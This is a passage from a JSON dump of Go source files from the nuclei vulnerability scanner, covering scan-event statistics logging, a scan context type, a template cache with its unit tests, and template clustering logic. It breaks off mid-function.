[]events.ScanEvent) map[string][]events.ScanEvent {\n\tmx := make(map[string][]events.ScanEvent)\n\tfor _, event := range values {\n\t\tmx[event.TemplateType] = append(mx[event.TemplateType], event)\n\t}\n\treturn mx\n}\n"
  },
  {
    "path": "pkg/scan/events/scan_noop.go",
    "content": "//go:build !stats\n\npackage events\n\n// AddScanEvent is a no-op function\nfunc AddScanEvent(event ScanEvent) {\n}\n\nfunc InitWithConfig(config *ScanConfig, statsDirectory string) {\n}\n\nfunc Close() {\n}\n"
  },
  {
    "path": "pkg/scan/events/stats_build.go",
    "content": "//go:build stats\n\npackage events\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n)\n\nvar _ ScanEventWorker = &ScanStatsWorker{}\n\nvar defaultWorker = &ScanStatsWorker{}\n\n// ScanStatsWorker is a worker for scanning stats\n// This tracks basic stats in jsonlines format\n// in given directory or a default directory with name stats_{timestamp} in the current directory\ntype ScanStatsWorker struct {\n\tconfig    *ScanConfig\n\tm         *sync.Mutex\n\tdirectory string\n\tfile      *os.File\n\tenc       json.Encoder\n}\n\n// Init initializes the scan stats worker\nfunc InitWithConfig(config *ScanConfig, statsDirectory string) {\n\tcurrentTime := time.Now().Format(\"20060102150405\")\n\tdirName := fmt.Sprintf(\"nuclei-stats-%s\", currentTime)\n\terr := os.Mkdir(dirName, 0755)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\t// save the config to the directory\n\tbin, err := json.MarshalIndent(config, \"\", \"  \")\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\terr = os.WriteFile(filepath.Join(dirName, ConfigFile), bin, 0755)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefaultWorker = &ScanStatsWorker{config: config, m: &sync.Mutex{}, directory: dirName}\n\terr = defaultWorker.initEventsFile()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}\n\n// initEventsFile initializes the events file for the worker\nfunc (s *ScanStatsWorker) initEventsFile() error {\n\tf, err := os.Create(filepath.Join(s.directory, EventsFile))\n\tif err != nil {\n\t\treturn err\n\t}\n\ts.file = f\n\ts.enc = json.NewEncoder(f)\n\treturn nil\n}\n\n// AddScanEvent adds a scan event to the worker\nfunc (s *ScanStatsWorker) AddScanEvent(event ScanEvent) {\n\ts.m.Lock()\n\tdefer s.m.Unlock()\n\n\terr := s.enc.Encode(event)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}\n\n// AddScanEvent adds a scan event to the worker\nfunc AddScanEvent(event ScanEvent) {\n\tif defaultWorker == nil {\n\t\treturn\n\t}\n\tdefaultWorker.AddScanEvent(event)\n}\n\n// Close closes the file associated with the worker\nfunc (s *ScanStatsWorker) Close() {\n\ts.m.Lock()\n\tdefer s.m.Unlock()\n\n\tif s.file != nil {\n\t\t_ = s.file.Close()\n\t\ts.file = nil\n\t}\n}\n\n// Close closes the file associated with the worker\nfunc Close() {\n\tif defaultWorker == nil {\n\t\treturn\n\t}\n\tdefaultWorker.Close()\n}\n"
  },
  {
    "path": "pkg/scan/events/utils.go",
    "content": "package events\n\nimport (\n\t\"time\"\n)\n\ntype ScanEventWorker interface {\n\t// AddScanEvent adds a scan event to the worker\n\tAddScanEvent(event ScanEvent)\n}\n\n// Track scan start / finish status\ntype ScanStatus string\n\nconst (\n\tScanStarted  ScanStatus = \"scan_start\"\n\tScanFinished ScanStatus = \"scan_end\"\n)\n\nconst (\n\tConfigFile = \"config.json\"\n\tEventsFile = \"events.jsonl\"\n)\n\n// ScanEvent represents a single scan event with its metadata\ntype ScanEvent struct {\n\tTarget       string     `json:\"target\" yaml:\"target\"`\n\tTemplateType string     `json:\"template_type\" yaml:\"template_type\"`\n\tTemplateID   string     `json:\"template_id\" yaml:\"template_id\"`\n\tTemplatePath string     `json:\"template_path\" yaml:\"template_path\"`\n\tMaxRequests  int        `json:\"max_requests\" yaml:\"max_requests\"`\n\tTime         time.Time  `json:\"time\" yaml:\"time\"`\n\tEventType    ScanStatus `json:\"event_type\" yaml:\"event_type\"`\n}\n\n// ScanConfig is only in context of scan event analysis\ntype ScanConfig struct {\n\tName                string `json:\"name\" yaml:\"name\"`\n\tTargetCount         int    `json:\"target_count\" yaml:\"target_count\"`\n\tTemplatesCount      int    `json:\"templates_count\" yaml:\"templates_count\"`\n\tTemplateConcurrency int    `json:\"template_concurrency\" yaml:\"template_concurrency\"`\n\tPayloadConcurrency  int    `json:\"payload_concurrency\" yaml:\"payload_concurrency\"`\n\tJsConcurrency       int    `json:\"js_concurrency\" yaml:\"js_concurrency\"`\n\tRetries             int    `json:\"retries\" yaml:\"retries\"`\n}\n"
  },
  {
    "path": "pkg/scan/scan_context.go",
    "content": "package scan\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n)\n\ntype ScanContextOption func(*ScanContext)\n\nfunc WithEvents() ScanContextOption {\n\treturn func(sc *ScanContext) {\n\t\tsc.withEvents = true\n\t}\n}\n\ntype ScanContext struct {\n\tctx context.Context\n\n\t// exported / configurable fields\n\tInput *contextargs.Context\n\n\t// callbacks or hooks\n\tOnError   func(error)\n\tOnResult  func(e *output.InternalWrappedEvent)\n\tOnWarning func(string)\n\n\t// unexported state fields\n\terror    error\n\twarnings []string\n\tevents   []*output.InternalWrappedEvent\n\tresults  []*output.ResultEvent\n\n\t// what to log\n\twithEvents bool\n\n\t// might not be required but better to sync\n\tm sync.Mutex\n}\n\n// NewScanContext creates a new scan context using input\nfunc NewScanContext(ctx context.Context, input *contextargs.Context) *ScanContext {\n\treturn &ScanContext{ctx: ctx, Input: input}\n}\n\n// Context returns the context of the scan\nfunc (s *ScanContext) Context() context.Context {\n\treturn s.ctx\n}\n\nfunc (s *ScanContext) GenerateErrorMessage() error {\n\treturn s.error\n}\n\n// GenerateResult returns final results slice from all events\nfunc (s *ScanContext) GenerateResult() []*output.ResultEvent {\n\ts.m.Lock()\n\tdefer s.m.Unlock()\n\n\treturn s.results\n}\n\n// LogEvent logs events to all events and triggers any callbacks\nfunc (s *ScanContext) LogEvent(e *output.InternalWrappedEvent) {\n\ts.m.Lock()\n\tdefer s.m.Unlock()\n\tif e == nil {\n\t\t// do not log nil events\n\t\treturn\n\t}\n\n\tif s.OnResult != nil {\n\t\ts.OnResult(e)\n\t}\n\n\tif s.withEvents {\n\t\ts.events = append(s.events, e)\n\t}\n\n\te.RLock()\n\tdefer e.RUnlock()\n\n\ts.results = append(s.results, e.Results...)\n}\n\n// LogError logs error to all events and triggers any callbacks\nfunc (s *ScanContext) LogError(err error) {\n\ts.m.Lock()\n\tdefer s.m.Unlock()\n\tif err == nil {\n\t\treturn\n\t}\n\tif s.OnError != nil {\n\t\ts.OnError(err)\n\t}\n\tif s.error == nil {\n\t\ts.error = err\n\t} else {\n\t\ts.error = errkit.Append(s.error, err)\n\t}\n\n\terrorMessage := s.GenerateErrorMessage().Error()\n\n\tfor _, result := range s.results {\n\t\tresult.Error = errorMessage\n\t}\n\n\tfor _, e := range s.events {\n\t\te.InternalEvent[\"error\"] = errorMessage\n\t}\n}\n\n// LogWarning logs warning to all events\nfunc (s *ScanContext) LogWarning(format string, args ...any) {\n\ts.m.Lock()\n\tdefer s.m.Unlock()\n\tval := fmt.Sprintf(format, args...)\n\n\tif s.OnWarning != nil {\n\t\ts.OnWarning(val)\n\t}\n\n\ts.warnings = append(s.warnings, val)\n\n\tfor _, e := range s.events {\n\t\tif e.InternalEvent != nil {\n\t\t\te.InternalEvent[\"warning\"] = strings.Join(s.warnings, \"; \")\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "pkg/templates/cache.go",
    "content": "package templates\n\nimport (\n\t\"os\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/utils/conversion\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n)\n\n// Templates is a cache for caching and storing templates for reuse.\ntype Cache struct {\n\titems *mapsutil.SyncLockMap[string, parsedTemplate]\n}\n\n// New returns a new templates cache\nfunc NewCache() *Cache {\n\treturn &Cache{\n\t\titems: mapsutil.NewSyncLockMap[string, parsedTemplate](),\n\t}\n}\n\ntype parsedTemplate struct {\n\ttemplate *Template\n\traw      string\n\terr      error\n\tfilePath string\n\tmodTime  time.Time\n}\n\n// setModTime sets the modification time of the file if it exists.\nfunc (p *parsedTemplate) setModTime(id string) {\n\tif stat, err := os.Stat(id); err == nil {\n\t\tp.modTime = stat.ModTime()\n\t}\n}\n\n// isValid checks if the cached template is still valid based on the file's\n// modification time.\nfunc (p *parsedTemplate) isValid(templatePath string) bool {\n\tif p.modTime.IsZero() {\n\t\treturn true\n\t}\n\n\tstat, err := os.Stat(templatePath)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\treturn stat.ModTime().Equal(p.modTime)\n}\n\n// Has returns true if the cache has a template. The template\n// is returned along with any errors if found.\nfunc (t *Cache) Has(template string) (*Template, []byte, error) {\n\tvalue, ok := t.items.Get(template)\n\tif !ok {\n\t\treturn nil, nil, nil\n\t}\n\n\tif !value.isValid(template) {\n\t\tt.items.Delete(template)\n\n\t\treturn nil, nil, nil\n\t}\n\n\treturn value.template, conversion.Bytes(value.raw), value.err\n}\n\n// Store stores a template with data and error\nfunc (t *Cache) Store(id string, tpl *Template, raw []byte, err error) {\n\tentry := parsedTemplate{\n\t\ttemplate: tpl,\n\t\terr:      err,\n\t\traw:      conversion.String(raw),\n\t\tfilePath: id,\n\t}\n\n\tentry.setModTime(id)\n\t_ = t.items.Set(id, entry)\n}\n\n// StoreWithoutRaw stores a template without raw data for memory efficiency\nfunc (t *Cache) StoreWithoutRaw(id string, tpl *Template, err error) {\n\tentry := parsedTemplate{\n\t\ttemplate: tpl,\n\t\terr:      err,\n\t\traw:      \"\",\n\t\tfilePath: id,\n\t}\n\n\tentry.setModTime(id)\n\t_ = t.items.Set(id, entry)\n}\n\n// Get returns only the template without raw bytes\nfunc (t *Cache) Get(id string) (*Template, error) {\n\tvalue, ok := t.items.Get(id)\n\tif !ok {\n\t\treturn nil, nil\n\t}\n\treturn value.template, value.err\n}\n\n// Purge the cache\nfunc (t *Cache) Purge() {\n\tt.items.Clear()\n}\n"
  },
  {
    "path": "pkg/templates/cache_test.go",
    "content": "package templates\n\nimport (\n\t\"errors\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestCache(t *testing.T) {\n\ttemplates := NewCache()\n\ttestErr := errors.New(\"test error\")\n\n\tdata, _, err := templates.Has(\"test\")\n\trequire.Nil(t, err, \"invalid value for err\")\n\trequire.Nil(t, data, \"invalid value for data\")\n\n\titem := &Template{}\n\n\ttemplates.Store(\"test\", item, nil, testErr)\n\tdata, _, err = templates.Has(\"test\")\n\trequire.Equal(t, testErr, err, \"invalid value for err\")\n\trequire.Equal(t, item, data, \"invalid value for data\")\n}\n\nfunc TestCacheFileBased(t *testing.T) {\n\ttempDir, err := os.MkdirTemp(\"\", \"cache_test\")\n\trequire.NoError(t, err)\n\tdefer func() {\n\t\t_ = os.RemoveAll(tempDir)\n\t}()\n\n\tcache := NewCache()\n\ttemplate := &Template{}\n\n\t// Create a test file\n\ttestFile := filepath.Join(tempDir, \"test.yaml\")\n\terr = os.WriteFile(testFile, []byte(\"test content\"), 0644)\n\trequire.NoError(t, err)\n\n\t// Store template with file\n\tcache.Store(testFile, template, []byte(\"raw content\"), nil)\n\n\t// Should be able to retrieve it\n\tretrieved, raw, err := cache.Has(testFile)\n\trequire.NoError(t, err)\n\trequire.Equal(t, template, retrieved)\n\trequire.Equal(t, []byte(\"raw content\"), raw)\n\n\t// Modify file content (should invalidate cache)\n\ttime.Sleep(10 * time.Millisecond) // Ensure mod time difference\n\terr = os.WriteFile(testFile, []byte(\"modified content\"), 0644)\n\trequire.NoError(t, err)\n\n\t// Cache should be invalidated\n\tretrieved, raw, err = cache.Has(testFile)\n\trequire.NoError(t, err)\n\trequire.Nil(t, retrieved)\n\trequire.Nil(t, raw)\n}\n\nfunc TestCacheFileDeletion(t *testing.T) {\n\ttempDir, err := os.MkdirTemp(\"\", \"cache_test\")\n\trequire.NoError(t, err)\n\tdefer func() {\n\t\t_ = os.RemoveAll(tempDir)\n\t}()\n\n\tcache := NewCache()\n\ttemplate := &Template{}\n\n\t// Create a test file\n\ttestFile := filepath.Join(tempDir, \"test.yaml\")\n\terr = os.WriteFile(testFile, []byte(\"test content\"), 0644)\n\trequire.NoError(t, err)\n\n\t// Store template with file\n\tcache.Store(testFile, template, []byte(\"raw content\"), nil)\n\n\t// Should be able to retrieve it\n\tretrieved, raw, err := cache.Has(testFile)\n\trequire.NoError(t, err)\n\trequire.Equal(t, template, retrieved)\n\trequire.Equal(t, []byte(\"raw content\"), raw)\n\n\t// Delete the file\n\terr = os.Remove(testFile)\n\trequire.NoError(t, err)\n\n\t// Cache should be invalidated\n\tretrieved, raw, err = cache.Has(testFile)\n\trequire.NoError(t, err)\n\trequire.Nil(t, retrieved)\n\trequire.Nil(t, raw)\n}\n\nfunc TestCacheStoreWithoutRaw(t *testing.T) {\n\tcache := NewCache()\n\ttemplate := &Template{}\n\ttestErr := errors.New(\"test error\")\n\n\t// Store without raw data\n\tcache.StoreWithoutRaw(\"test\", template, testErr)\n\n\t// Should be able to retrieve template but not raw data\n\tretrieved, raw, err := cache.Has(\"test\")\n\trequire.Equal(t, testErr, err)\n\trequire.Equal(t, template, retrieved)\n\trequire.Empty(t, raw)\n}\n\nfunc TestCacheGet(t *testing.T) {\n\tcache := NewCache()\n\ttemplate := &Template{}\n\ttestErr := errors.New(\"test error\")\n\n\t// Test cache miss\n\tretrieved, err := cache.Get(\"nonexistent\")\n\trequire.NoError(t, err)\n\trequire.Nil(t, retrieved)\n\n\t// Store template\n\tcache.Store(\"test\", template, []byte(\"raw\"), testErr)\n\n\t// Should be able to get template\n\tretrieved, err = cache.Get(\"test\")\n\trequire.Equal(t, testErr, err)\n\trequire.Equal(t, template, retrieved)\n}\n\nfunc TestCachePurge(t *testing.T) {\n\tcache := NewCache()\n\ttemplate := &Template{}\n\n\t// Store multiple templates\n\tcache.Store(\"test1\", template, []byte(\"raw1\"), nil)\n\tcache.Store(\"test2\", template, []byte(\"raw2\"), nil)\n\n\t// Verify they exist\n\tretrieved1, _, _ := cache.Has(\"test1\")\n\trequire.Equal(t, template, retrieved1)\n\tretrieved2, _, _ := cache.Has(\"test2\")\n\trequire.Equal(t, template, retrieved2)\n\n\t// Purge cache\n\tcache.Purge()\n\n\t// Should be empty now\n\tretrieved1, _, _ = cache.Has(\"test1\")\n\trequire.Nil(t, retrieved1)\n\tretrieved2, _, _ = cache.Has(\"test2\")\n\trequire.Nil(t, retrieved2)\n}\n\nfunc TestCacheNonFileTemplates(t *testing.T) {\n\tcache := NewCache()\n\ttemplate := &Template{}\n\ttestErr := errors.New(\"test error\")\n\n\t// Store non-file template (like the original test)\n\tcache.Store(\"nonfile\", template, []byte(\"raw\"), testErr)\n\n\t// Should work normally\n\tretrieved, raw, err := cache.Has(\"nonfile\")\n\trequire.Equal(t, testErr, err)\n\trequire.Equal(t, template, retrieved)\n\trequire.Equal(t, []byte(\"raw\"), raw)\n}\n\nfunc TestCacheFileBasedStoreWithoutRaw(t *testing.T) {\n\t// Create a temporary directory for test files\n\ttempDir, err := os.MkdirTemp(\"\", \"cache_test\")\n\trequire.NoError(t, err)\n\tdefer func() {\n\t\t_ = os.RemoveAll(tempDir)\n\t}()\n\n\tcache := NewCache()\n\ttemplate := &Template{}\n\n\t// Create a test file\n\ttestFile := filepath.Join(tempDir, \"test.yaml\")\n\terr = os.WriteFile(testFile, []byte(\"test content\"), 0644)\n\trequire.NoError(t, err)\n\n\t// Store template without raw data\n\tcache.StoreWithoutRaw(testFile, template, nil)\n\n\t// Should be able to retrieve template but not raw data\n\tretrieved, raw, err := cache.Has(testFile)\n\trequire.NoError(t, err)\n\trequire.Equal(t, template, retrieved)\n\trequire.Empty(t, raw)\n}\n"
  },
  {
    "path": "pkg/templates/cluster.go",
    "content": "package templates\n\nimport (\n\t\"fmt\"\n\t\"sort\"\n\t\"strings\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/writer\"\n\tprotocolUtils \"github.com/projectdiscovery/nuclei/v3/pkg/protocols/utils\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/scan\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n\tcryptoutil \"github.com/projectdiscovery/utils/crypto\"\n)\n\n// Cluster clusters a list of templates into a lesser number if possible based\n// on the similarity between the sent requests.\n//\n// If the attributes match, multiple requests can be clustered into a single\n// request which saves time and network resources during execution.\n//\n// The clusterer goes through all the templates, looking for templates with a single\n// HTTP/DNS/TLS request to an endpoint (multiple requests aren't clustered as of now).\n//\n// All the templates are iterated and any templates with request that is identical\n// to the first individual request is compared for equality.\n// The equality check is performed as described below -\n//\n// Cases where clustering is not performed (request is considered different)\n//   - If request contains payloads,raw,body,unsafe,req-condition,name attributes\n//   - If request methods,max-redirects,disable-cookie,redirects are not equal\n//   - If request paths aren't identical.\n//   - If request headers aren't identical\n//   - Similarly for DNS, only identical DNS requests are clustered to a target.\n//   - Similarly for TLS, only identical TLS requests are clustered to a target.\n//\n// If multiple requests are identified as identical, they are appended to a slice.\n// Finally, the engine creates a single executer with a clusteredexecuter for all templates\n// in a cluster.\nfunc Cluster(list []*Template) [][]*Template {\n\thttp := make(map[uint64][]*Template)\n\tdns := make(map[uint64][]*Template)\n\tssl := make(map[uint64][]*Template)\n\n\tfinal := [][]*Template{}\n\n\t// Split up templates that might be clusterable\n\tfor _, template := range list {\n\t\t// it is not possible to cluster flow and multiprotocol due to dependent execution\n\t\tif template.Flow != \"\" || template.Options.IsMultiProtocol {\n\t\t\tfinal = append(final, []*Template{template})\n\t\t\tcontinue\n\t\t}\n\n\t\tswitch {\n\t\tcase len(template.RequestsDNS) == 1:\n\t\t\tif template.RequestsDNS[0].IsClusterable() {\n\t\t\t\thash := template.RequestsDNS[0].TmplClusterKey()\n\t\t\t\tif dns[hash] == nil {\n\t\t\t\t\tdns[hash] = []*Template{}\n\t\t\t\t}\n\t\t\t\tdns[hash] = append(dns[hash], template)\n\t\t\t} else {\n\t\t\t\tfinal = append(final, []*Template{template})\n\t\t\t}\n\n\t\tcase len(template.RequestsHTTP) == 1:\n\t\t\tif template.RequestsHTTP[0].IsClusterable() {\n\t\t\t\thash := template.RequestsHTTP[0].TmplClusterKey()\n\t\t\t\tif http[hash] == nil {\n\t\t\t\t\thttp[hash] = []*Template{}\n\t\t\t\t}\n\t\t\t\thttp[hash] = append(http[hash], template)\n\t\t\t} else {\n\t\t\t\tfinal = append(final, []*Template{template})\n\t\t\t}\n\t\tcase len(template.RequestsSSL) == 1:\n\t\t\tif template.RequestsSSL[0].IsClusterable() {\n\t\t\t\thash := template.RequestsSSL[0].TmplClusterKey()\n\t\t\t\tif ssl[hash] == nil {\n\t\t\t\t\tssl[hash] = []*Template{}\n\t\t\t\t}\n\t\t\t\tssl[hash] = append(ssl[hash], template)\n\t\t\t} else {\n\t\t\t\tfinal = append(final, []*Template{template})\n\t\t\t}\n\t\tdefault:\n\t\t\tfinal = append(final, []*Template{template})\n\t\t}\n\t}\n\n\t// add all clusterd templates\n\tfor _, templates := range http {\n\t\tfinal = append(final, templates)\n\t}\n\tfor _, templates := range dns {\n\t\tfinal = append(final, templates)\n\t}\n\tfor _, templates := range ssl {\n\t\tfinal = append(final, templates)\n\t}\n\n\treturn final\n}\n\n// ClusterID transforms clusterization into a mathematical hash repeatable across executions with the same templates\nfunc ClusterID(templates []*Template) string {\n\tallIDS := make([]string, len(templates))\n\tfor tplIndex, tpl := range templates {\n\t\tallIDS[tplIndex] = tpl.ID\n\t}\n\tsort.Strings(allIDS)\n\tids := strings.Join(allIDS, \",\")\n\treturn cryptoutil.SHA256Sum(ids)\n}\n\n// ClusterTemplates clusters templates and returns:\n// - the final list of templates (with clustered templates merged)\n// - the count of templates that were clustered\n// - a map of cluster ID to the original template IDs in each cluster\nfunc ClusterTemplates(templatesList []*Template, options *protocols.ExecutorOptions) ([]*Template, int, map[string][]string) {\n\tif options.Options.OfflineHTTP || options.Options.DisableClustering {\n\t\treturn templatesList, 0, nil\n\t}\n\n\tvar clusterCount int\n\tclusterMappings := make(map[string][]string)\n\n\tfinalTemplatesList := make([]*Template, 0, len(templatesList))\n\tclusters := Cluster(templatesList)\n\tfor _, cluster := range clusters {\n\t\tif len(cluster) > 1 {\n\t\t\texecuterOpts := options\n\t\t\tclusterID := fmt.Sprintf(\"cluster-%s\", ClusterID(cluster))\n\n\t\t\t// Collect all template IDs in this cluster\n\t\t\tclusterTemplateIDs := make([]string, len(cluster))\n\t\t\tfor i, tpl := range cluster {\n\t\t\t\tclusterTemplateIDs[i] = tpl.ID\n\t\t\t}\n\t\t\tclusterMappings[clusterID] = clusterTemplateIDs\n\n\t\t\tfor _, req := range cluster[0].RequestsDNS {\n\t\t\t\treq.Options().TemplateID = clusterID\n\t\t\t}\n\t\t\tfor _, req := range cluster[0].RequestsHTTP {\n\t\t\t\treq.Options().TemplateID = clusterID\n\t\t\t}\n\t\t\tfor _, req := range cluster[0].RequestsSSL {\n\t\t\t\treq.Options().TemplateID = clusterID\n\t\t\t}\n\t\t\texecuterOpts.TemplateID = clusterID\n\t\t\tfinalTemplatesList = append(finalTemplatesList, &Template{\n\t\t\t\tID:            clusterID,\n\t\t\t\tRequestsDNS:   cluster[0].RequestsDNS,\n\t\t\t\tRequestsHTTP:  cluster[0].RequestsHTTP,\n\t\t\t\tRequestsSSL:   cluster[0].RequestsSSL,\n\t\t\t\tExecuter:      NewClusterExecuter(cluster, executerOpts),\n\t\t\t\tTotalRequests: len(cluster[0].RequestsHTTP) + len(cluster[0].RequestsDNS),\n\t\t\t})\n\t\t\tclusterCount += len(cluster)\n\t\t} else {\n\t\t\tfinalTemplatesList = append(finalTemplatesList, cluster...)\n\t\t}\n\t}\n\treturn finalTemplatesList, clusterCount, clusterMappings\n}\n\n// ClusterExecuter executes a group of requests for a protocol for a clustered\n// request. It is different from normal executers since the original\n// operators are all combined and post processed after making the request.\ntype ClusterExecuter struct {\n\trequests     protocols.Request\n\toperators    []*clusteredOperator\n\ttemplateType types.ProtocolType\n\toptions      *protocols.ExecutorOptions\n}\n\ntype clusteredOperator struct {\n\ttemplateID   string\n\ttemplatePath string\n\ttemplateInfo model.Info\n\toperator     *operators.Operators\n}\n\nvar _ protocols.Executer = &ClusterExecuter{}\n\n// NewClusterExecuter creates a new request executer for list of requests\nfunc NewClusterExecuter(requests []*Template, options *protocols.ExecutorOptions) *ClusterExecuter {\n\texecuter := &ClusterExecuter{options: options}\n\tif len(requests[0].RequestsDNS) == 1 {\n\t\texecuter.templateType = types.DNSProtocol\n\t\texecuter.requests = requests[0].RequestsDNS[0]\n\t} else if len(requests[0].RequestsHTTP) == 1 {\n\t\texecuter.templateType = types.HTTPProtocol\n\t\texecuter.requests = requests[0].RequestsHTTP[0]\n\t} else if len(requests[0].RequestsSSL) == 1 {\n\t\texecuter.templateType = types.SSLProtocol\n\t\texecuter.requests = requests[0].RequestsSSL[0]\n\t}\n\tappendOperator := func(req *Template, operator *operators.Operators) {\n\t\toperator.TemplateID = req.ID\n\t\toperator.ExcludeMatchers = options.ExcludeMatchers\n\n\t\texecuter.operators = append(executer.operators, &clusteredOperator{\n\t\t\toperator:     operator,\n\t\t\ttemplateID:   req.ID,\n\t\t\ttemplateInfo: req.Info,\n\t\t\ttemplatePath: req.Path,\n\t\t})\n\t}\n\tfor _, req := range requests {\n\t\tswitch executer.templateType {\n\t\tcase types.DNSProtocol:\n\t\t\tif req.RequestsDNS[0].CompiledOperators != nil {\n\t\t\t\tappendOperator(req, req.RequestsDNS[0].CompiledOperators)\n\t\t\t}\n\t\tcase types.HTTPProtocol:\n\t\t\tif req.RequestsHTTP[0].CompiledOperators != nil {\n\t\t\t\tappendOperator(req, req.RequestsHTTP[0].CompiledOperators)\n\t\t\t}\n\t\tcase types.SSLProtocol:\n\t\t\tif req.RequestsSSL[0].CompiledOperators != nil {\n\t\t\t\tappendOperator(req, req.RequestsSSL[0].CompiledOperators)\n\t\t\t}\n\t\t}\n\t}\n\treturn executer\n}\n\n// Compile compiles the execution generators preparing any requests possible.\nfunc (e *ClusterExecuter) Compile() error {\n\treturn e.requests.Compile(e.options)\n}\n\n// Requests returns the total number of requests the rule will perform\nfunc (e *ClusterExecuter) Requests() int {\n\tvar count int\n\tcount += e.requests.Requests()\n\treturn count\n}\n\n// Execute executes the protocol group and returns true or false if results were found.\nfunc (e *ClusterExecuter) Execute(ctx *scan.ScanContext) (bool, error) {\n\tvar results bool\n\n\tinputItem := ctx.Input.Clone()\n\tif e.options.InputHelper != nil && ctx.Input.MetaInput.Input != \"\" {\n\t\tif inputItem.MetaInput.Input = e.options.InputHelper.Transform(ctx.Input.MetaInput.Input, e.templateType); ctx.Input.MetaInput.Input == \"\" {\n\t\t\treturn false, nil\n\t\t}\n\t}\n\tprevious := make(map[string]interface{})\n\tdynamicValues := make(map[string]interface{})\n\n\t// Track if callback was invoked\n\tcallbackCalled := &atomic.Bool{}\n\n\terr := e.requests.ExecuteWithResults(inputItem, dynamicValues, previous, func(event *output.InternalWrappedEvent) {\n\t\tcallbackCalled.Store(true)\n\t\tif event == nil {\n\t\t\treturn\n\t\t}\n\t\tif event.InternalEvent == nil {\n\t\t\tevent.InternalEvent = make(map[string]interface{})\n\t\t}\n\t\tfor _, operator := range e.operators {\n\t\t\tclonedEvent := event.CloneShallow()\n\n\t\t\tresult, matched := operator.operator.Execute(clonedEvent.InternalEvent, e.requests.Match, e.requests.Extract, e.options.Options.Debug || e.options.Options.DebugResponse)\n\t\t\tclonedEvent.InternalEvent[\"template-id\"] = operator.templateID\n\t\t\tclonedEvent.InternalEvent[\"template-path\"] = operator.templatePath\n\t\t\tclonedEvent.InternalEvent[\"template-info\"] = operator.templateInfo\n\n\t\t\tif matched && result != nil {\n\t\t\t\tclonedEvent.OperatorsResult = result\n\t\t\t\tclonedEvent.Results = e.requests.MakeResultEvent(clonedEvent)\n\t\t\t\tresults = true\n\n\t\t\t\t_ = writer.WriteResult(clonedEvent, e.options.Output, e.options.Progress, e.options.IssuesClient)\n\t\t\t} else if !matched && e.options.Options.MatcherStatus {\n\t\t\t\tif err := e.options.Output.WriteFailure(clonedEvent); err != nil {\n\t\t\t\t\tgologger.Warning().Msgf(\"Could not write failure event to output: %s\\n\", err)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t})\n\n\t// Fallback: if callback was never called and matcher-status is enabled,\n\t// write failure events for each operator in the cluster\n\tif !callbackCalled.Load() && e.options.Options.MatcherStatus {\n\t\t// Parse URL fields from the input\n\t\tfields := protocolUtils.GetJsonFieldsFromURL(ctx.Input.MetaInput.Input)\n\t\tfor _, operator := range e.operators {\n\t\t\terrMsg := \"\"\n\t\t\tif err != nil {\n\t\t\t\terrMsg = err.Error()\n\t\t\t}\n\t\t\tfakeEvent := &output.InternalWrappedEvent{\n\t\t\t\tResults: []*output.ResultEvent{\n\t\t\t\t\t{\n\t\t\t\t\t\tTemplateID:   operator.templateID,\n\t\t\t\t\t\tTemplatePath: operator.templatePath,\n\t\t\t\t\t\tInfo:         operator.templateInfo,\n\t\t\t\t\t\tType:         e.templateType.String(),\n\t\t\t\t\t\tHost:         fields.Host,\n\t\t\t\t\t\tPort:         fields.Port,\n\t\t\t\t\t\tScheme:       fields.Scheme,\n\t\t\t\t\t\tURL:          fields.URL,\n\t\t\t\t\t\tPath:         fields.Path,\n\t\t\t\t\t\tTimestamp:    time.Now(),\n\t\t\t\t\t\tError:        errMsg,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tOperatorsResult: &operators.Result{\n\t\t\t\t\tMatched: false,\n\t\t\t\t},\n\t\t\t}\n\t\t\tif err := e.options.Output.WriteFailure(fakeEvent); err != nil {\n\t\t\t\tgologger.Warning().Msgf(\"Could not write failure event to output: %s\\n\", err)\n\t\t\t}\n\t\t}\n\t}\n\n\tif e.options.HostErrorsCache != nil {\n\t\te.options.HostErrorsCache.MarkFailedOrRemove(e.options.ProtocolType.String(), ctx.Input, err)\n\t}\n\treturn results, err\n}\n\n// ExecuteWithResults executes the protocol requests and returns results instead of writing them.\nfunc (e *ClusterExecuter) ExecuteWithResults(ctx *scan.ScanContext) ([]*output.ResultEvent, error) {\n\tscanCtx := scan.NewScanContext(ctx.Context(), ctx.Input)\n\tdynamicValues := make(map[string]interface{})\n\n\tinputItem := ctx.Input.Clone()\n\tif e.options.InputHelper != nil && ctx.Input.MetaInput.Input != \"\" {\n\t\tif inputItem.MetaInput.Input = e.options.InputHelper.Transform(ctx.Input.MetaInput.Input, e.templateType); ctx.Input.MetaInput.Input == \"\" {\n\t\t\treturn nil, nil\n\t\t}\n\t}\n\terr := e.requests.ExecuteWithResults(inputItem, dynamicValues, nil, func(event *output.InternalWrappedEvent) {\n\t\tfor _, operator := range e.operators 